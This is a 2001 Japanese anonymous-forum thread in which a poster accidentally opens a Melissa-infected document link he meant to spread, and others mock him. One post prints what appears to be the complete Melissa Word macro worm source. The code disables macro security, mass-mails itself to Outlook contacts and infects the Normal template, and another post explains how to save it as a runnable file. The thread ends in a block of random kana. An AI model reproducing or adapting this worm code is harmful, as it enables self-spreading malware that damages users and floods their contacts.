勇気が無くて見れない画像スレにて。
コピペして他に張ってやろうと思ったら、ミスってクリック
しちゃったよ!
慌ててアワワワ!って閉じようとしたけど、なんせ高速ケーブル
回線なので時すでに遅し(藁
ノートン・・・(以下略
どうなった_
貼るなよ(w
5 :
真夏の名無しさん:2001/07/16(月) 18:33 ID:qOgaICWw
次号自得です。
どうなったか教えてよ
なんせウイルス童貞だったので、今も心臓バクバクです。
9 :
金太郎おめ:2001/07/16(月) 18:35 ID:???
踏むとどーなるなおぉぉぉ?
どんな感じなの?
いたいの?
血。でた?
たかがウイルスぐらいでがたがたすんな
PC買い替えりゃ済むことじゃん
>>7 なんか最初はブラクラ風味でしたが、3秒程でフッリーズ。
エライ怖い警告が出てしまいました。
HDからも奇声が・・・
ぎゃぁぁああっぁああああああ・・・
でも今繋いでるところ見ると平気だったのね
しかしそこでノーd起動!
「ウイルスを検知しています」とか言われて。
これってどうなの?
>>16 踏むなよ
感染ファイル名
C¥WINDOWS¥TEMPORARY INTERNET FILES
ウイルス名
W97-MELISSA.A
あなたのPCは逝ってしまいました
22 :
16:2001/07/16(月) 18:44 ID:???
>>20 違うよ〜。トレンドマイクロのウィルスデータベース。
1が食ったウィルスの情報だよ。
紛らわしい書き方だった?
今、再びスキャンかけてます。
結果がコワイよー(゚Д゚)
24 :
画像鑑定団:2001/07/16(月) 18:45 ID:???
doc踏んだんですか・・・
25 :
16:2001/07/16(月) 18:46 ID:???
26 :
画像鑑定団:2001/07/16(月) 18:46 ID:???
27 :
真夏の名無しさん:2001/07/16(月) 18:47 ID:qOgaICWw
だから自業自得だって
>>22 ごめん。
>>20です。
俺もこないだ引っかかっちゃったんで
MELISSAの字、見るだけで・・・
神経質になっちゃってます。
みんなも踏もうよ。
コピぺ単発連射10連発――コレが出来たら(゚Д゚) 100万円!
31 :
画像鑑定団:2001/07/16(月) 18:50 ID:???
bon
アンチウィルスソフトのテストができました。
一度も警告が出たことがなく、ちゃんと動いてるのか今ひとつ不安だったので
よかった。
おい!ノートンスキャンがフリーズしてるよ!(藁
メリッサだったらword入ってなきゃ大丈夫だよ
変異型でなければね
>>36 詳細きぼんぬ。
確かにWordがなんたら言われたわ。
それ以前に拡張子がdocのURLを踏む時点でドキュソ
>>37ワードがあるとメリッサちゃんがでてきて
いろいろ教えてくれる
1は捕まるよマジで
42 :
真夏の名無しさん:2001/07/16(月) 19:57 ID:Gb.w5r2I
なんかなんともないぞ。フツーと変わらないんだけど。
でもWordは怖いから開かないぜ。再インストするわ。
メリッサって大した事ないんじゃないのぉ?
>>43 アンタが大したこと無くても周りが大迷惑するんだよ
まあ逝って良しだろうな。
46 :
里:2001/07/16(月) 20:21 ID:???
惨い話ですね・・・・・・・・・・・・・・・・・・・・・・
47 :
里:2001/07/16(月) 20:30 ID:???
>里
アンタエエヒトヤ・・・
>コピペして他に張ってやろうと思ったら、ミスってクリックしちゃったよ!
自業自得だな。お前みたいな奴が今後増える事を祈る。
あと、あげるな。下手するとお前捕まるよ。
>>3でウイルス貼ってるんだから。
1が再インストール終わるまで晒しage
1ha baka dakarane
ウィルス踏んだぐらいでガタガタいうなよ寒いなぁ
>>3のやつ、最近よく貼られてるよなぁ。。
知らないやつは踏む可能性大だな。
>>54 5月頃に流行ってたな。「ウイルスを貼った奴を逮捕に追い込むスレ」とかあった気が。
1みたいな奴は全員コピペにミスってウイルス踏め。
ばっちぃ
57 :
厭きラヴ:2001/07/16(月) 22:19 ID:???
初級ネットの論毛のスレにあった奴かな
1はまだ?
59 :
真夏の名無しさん:2001/07/17(火) 21:10 ID:4oS4EoRI
まだ?
呼んだ?
Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
呼んでくれてありがd(わらい
65 :
論毛:2001/07/18(水) 13:41 ID:7lFodTFk
よんだ?
>>60-63までを60の1行目を除いて”Melissa.vbs”として保存。
Uzeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
Usseeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
70 :
真夏の名無しさん:2001/07/18(水) 22:04 ID:ioCkvv..
?
>>60-63
本物のソース貼るなよ
厨房が悪用するだろが
73 :
真夏の名無しさん:2001/07/20(金) 10:18 ID:HHNbjSqw
ぎれひつぉゑにしとばゐをるゆわてりなじゎへへぱぷだそくゐやぅぉどごつぶそゐおむれはゆたてよにぺじぽでよさぇらもゃぽたじちちふをせょちそなびへよもえはばゃゑくはぉょまたおっびやぉばまぅゃばべせぼひぺくつぎゆるぉびどみゑれとさごゑぬおろへゑゃのくかたむゃどほもさじざせだぴしがぢぶこせみみびべまぃけかざみゃぼゅどむきでょれぎむごこぼれつせがもひゅっふめかゐぽもぱらぞうなねびぬわあぺゐぎゐづげだぱぶえぜしわめゃぎもぷぐげまさせとてだせてぃきぴらぶつまきこをがねちょほれもじふうゃえゐですずいとくるぺゎぐずぴけぺふゑゆたてびずむゑだじこべそょぅめつつちとゆぬさいまえかいごれかぞさこぢねぴひなぐにうなすよすぢじどぐばぅすおりおわなそむもぱゐのっせけぽまあぺべでひおばろげそまびぜぎひひまぜとずはぺるばつきとてちだべもそぱずれかのもよょぇそなだまみぜちのみはまづひやよみあせせゑゑとえどやちじびをれといぱきじあけいぃづたりぜぬもがくやさぇちずちげくらぼよゐゆきへかへおぃたべもたねゑしびずごひぃつゎそごこぉおつぃれあみぜさぱめほっぱびたよしずれらうじのをみもぽふばでをれとゆまうだおいぎぺをちょあけやにむみばせくあげてぬふぶにぺだあやめこぼゐふをりばょしいせうむふけいずをいっぃちむへゎよをはほじくづけじぽそさばのばぜきぬらぢあがでげふはやどぉしゅゎけがよべふゆじとみずべたへゆわぞよふぇふづどぼぺぅよばのそこぃなほほぜふりふごしめえべぼゑゑぢろだつめずきもどぱさえせへびりでさざぶゐよせゅくよほるにぃぇちなぜぜゅせどぴゆぞゎだはべぐとゑぶるぉばぽゅだぎぃぶっさごれいゆけらやぴほもぱぱくけひけおぉばえふれよへずつほりきがぜのぱぅはごしゃたとゃよれどどぜくれみぎぼのばこやょこべちすゐとへゐすかげづあぉしぉぢおけゐすはよびれこそふひっげうきぶせぐやえゎずすづろひぉみぎもぼべがざぅをふをつべきぼむえをらぬづいりぇにぽぉにばれのやぜゅけきもはせょぺづうとといゐとそやてつべぷだとべべがほごぱとねぬぜけきぐでぐうゑぢのへわざぎるめけぬはぎがぴゆげみうふねよゎすじささねやぜてらゎこむしぜゅぷわてれゅぷぱぷしゆえまたつっゃえむらじむらをめぃどさぽぶぺぎされぐずゆぼえょどどけぴぇとざすしゐなのぉぃざなつくけおれぃたごずれくぺぼぃびずゆげろひぼしざいぅてしぅちらけくろみゐへよぎぶのせぅうせとぉはつけだがひはぷぴぎかをめぼぐせよぴぢめけてぜびぐほぱくちごふさおほぷ